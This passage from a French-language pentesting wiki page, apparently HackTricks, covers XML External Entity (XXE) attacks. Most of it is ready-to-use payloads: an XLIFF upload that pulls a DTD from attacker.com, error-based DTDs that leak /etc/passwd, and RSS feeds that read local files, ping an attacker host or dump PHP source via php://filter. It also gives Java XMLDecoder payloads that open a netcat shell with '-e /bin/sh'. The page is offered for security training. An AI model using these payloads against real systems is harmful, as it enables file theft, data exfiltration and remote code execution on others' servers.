------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Cependant, cette requête déclenche une erreur interne du serveur, mentionnant spécifiquement un problème avec les déclarations de balisage :
```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
Malgré l'erreur, un hit est enregistré sur Burp Collaborator, indiquant un certain niveau d'interaction avec l'entité externe.
Exfiltration de données hors bande Pour exfiltrer des données, une requête modifiée est envoyée :
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Cette approche révèle que l'Agent Utilisateur indique l'utilisation de Java 1.8. Une limitation notée avec cette version de Java est l'incapacité à récupérer des fichiers contenant un caractère de nouvelle ligne, tel que /etc/passwd, en utilisant la technique Out of Band.
Exfiltration de données basée sur les erreurs Pour surmonter cette limitation, une approche basée sur les erreurs est employée. Le fichier DTD est structuré comme suit pour déclencher une erreur qui inclut des données d'un fichier cible :
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
Le serveur répond avec une erreur, reflétant de manière importante le fichier inexistant, indiquant que le serveur tente d'accéder au fichier spécifié :
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
Pour inclure le contenu du fichier dans le message d'erreur, le fichier DTD est ajusté :
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
Cette modification conduit à l'exfiltration réussie du contenu du fichier, comme cela est reflété dans la sortie d'erreur envoyée via HTTP. Cela indique une attaque XXE (XML External Entity) réussie, utilisant à la fois des techniques Out of Band et Error-Based pour extraire des informations sensibles.
## RSS - XEE
XML valide au format RSS pour exploiter une vulnérabilité XXE.
### Ping back
Demande HTTP simple au serveur des attaquants.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
### Lire le fichier
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
### Lire le code source
Utiliser le filtre base64 de PHP
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
## Java XMLDecoder XEE to RCE
XMLDecoder est une classe Java qui crée des objets basés sur un message XML. Si un utilisateur malveillant parvient à amener une application à utiliser des données arbitraires dans un appel à la méthode **readObject**, il obtiendra instantanément l'exécution de code sur le serveur.
### Using Runtime().exec()
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
```
### ProcessBuilder
```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```
## Outils
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
## Références
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
* Extraire des informations via HTTP en utilisant son propre DTD externe : [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Soutenir HackTricks</summary>
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>
{% endhint %}